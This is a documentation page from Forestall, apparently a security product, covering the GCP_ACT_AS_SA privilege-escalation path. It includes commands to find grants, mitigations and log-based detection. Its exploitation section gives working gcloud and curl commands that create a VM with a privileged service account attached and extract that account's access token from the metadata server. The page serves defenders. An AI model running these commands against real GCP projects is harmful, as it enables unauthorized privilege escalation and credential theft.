> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/gcp/gcp_act_as_sa.md).

# GCP\_ACT\_AS\_SA

## Summary

|                            |                                                               |
| -------------------------- | ------------------------------------------------------------- |
| **Forestall ACL Alias**    | GCP\_ACT\_AS\_SA                                              |
| **GCP Alias**              | Persistence & Impersonation                                   |
| **Affected Object Types**  | Service Accounts                                              |
| **Exploitation Certainty** | Likely                                                        |
| **Granting Roles**         | `roles/owner`, `roles/editor`, `roles/iam.serviceAccountUser` |

## Description

`GCP_ACT_AS_SA` indicates that an identity holds `iam.serviceAccounts.actAs` permission on a GCP **Service Account**. This permission allows the identity to attach the target SA to GCP infrastructure — specifically when creating or updating VMs, Cloud Run services, Cloud Functions, App Engine apps, or GKE node pools.

Unlike `GCP_IMPERSONATE_SA` (which generates tokens directly), `GCP_ACT_AS_SA` requires a **compute vehicle**: the attacker must spin up or modify an infrastructure resource to attach the target SA, then extract its access token from the GCP metadata server.

**Key abuse scenarios:**

* Create a VM with the target SA attached → SSH into VM → extract token from metadata server → use as target SA.
* Deploy a Cloud Run service using the target SA → invoke the service → exfiltrate the SA's token from within.
* Modify an existing VM's SA attachment to swap in a higher-privilege SA.

## Identification

### gcloud CLI

```bash
# Find who has iam.serviceAccountUser role (grants actAs)
PROJECT_ID="my-project"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq '.bindings[] | select(.role | test("owner|editor|serviceAccountUser")) | {role: .role, members: .members}'

# Check SA-level actAs grants
for SA in $(gcloud iam service-accounts list --project=$PROJECT_ID --format="value(email)"); do
  POLICY=$(gcloud iam service-accounts get-iam-policy $SA --format=json 2>/dev/null)
  BINDINGS=$(echo $POLICY | jq -r '.bindings // [] | .[] | select(.role == "roles/iam.serviceAccountUser")' 2>/dev/null)
  if [ ! -z "$BINDINGS" ]; then
    echo "=== $SA ===" && echo $BINDINGS
  fi
done
```

```bash
# Check which VMs are running with high-privilege SAs
gcloud compute instances list --project=$PROJECT_ID \
  --format="table(name, zone, serviceAccounts[].email)"
```

### GCP Console

1. Open **GCP Console** → **IAM & Admin** → **Service Accounts**.
2. Click a service account → **Principals with access** tab.
3. Look for principals with `Service Account User` role.

## Exploitation

This path requires both `GCP_ACT_AS_SA` and a compute creation capability. → see [GCP\_CREATE\_COMPUTE](https://docs.forestall.io/fsprotect/edges/gcp/gcp_create_compute).

### gcloud CLI

```bash
# Create a VM attached to the target SA.
TARGET_SA="high-priv@target-project.iam.gserviceaccount.com"
PROJECT_ID="target-project"
ZONE="us-central1-a"

gcloud compute instances create attacker-vm \
  --project=$PROJECT_ID \
  --zone=$ZONE \
  --machine-type=e2-micro \
  --service-account=$TARGET_SA \
  --scopes=cloud-platform \
  --metadata=startup-script='#!/bin/bash
TOKEN=$(curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token")
echo "$TOKEN" > /tmp/token.json'

# SSH into the VM
gcloud compute ssh attacker-vm --zone=$ZONE --project=$PROJECT_ID

# From inside the VM:
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" | \
  python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

# Use the token as the target SA
curl -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects"
```

## Mitigation

1. **Restrict `roles/iam.serviceAccountUser`** — assign only when necessary and scope to the minimum required SA, not project-wide.
2. **Disable default SA binding on new VMs** using org policy: `constraints/compute.disableDefaultServiceAccountCreation`
3. **Block project-default SA at compute creation** with `constraints/compute.requireOsLogin`.
4. **Audit VM service account assignments** — verify all VMs use purpose-specific minimal SAs.
5. **Enable OS Login** to restrict SSH access and tie it to IAM identity.

## Detection

| Log Type       | Method                                 | Key Fields                                        |
| -------------- | -------------------------------------- | ------------------------------------------------- |
| Admin Activity | `*compute.instances.insert`            | `resource.type=gce_instance`, SA field in request |
| Admin Activity | `*compute.instances.setServiceAccount` | SA changed on existing VM                         |

```bash
gcloud logging read \
  'protoPayload.methodName=~"compute.instances.insert" AND protoPayload.request.serviceAccounts.email!=""' \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.request.name, protoPayload.request.serviceAccounts)"
```

Alert on:

* VM creation or SA modification attaching a privileged SA to a VM by an unexpected principal.
* Metadata server token requests from VMs created within the last 24 hours.

## References

* <https://cloud.google.com/iam/docs/service-accounts#the\\_service\\_account\\_user\\_role>
* <https://cloud.google.com/compute/docs/access/service-accounts>
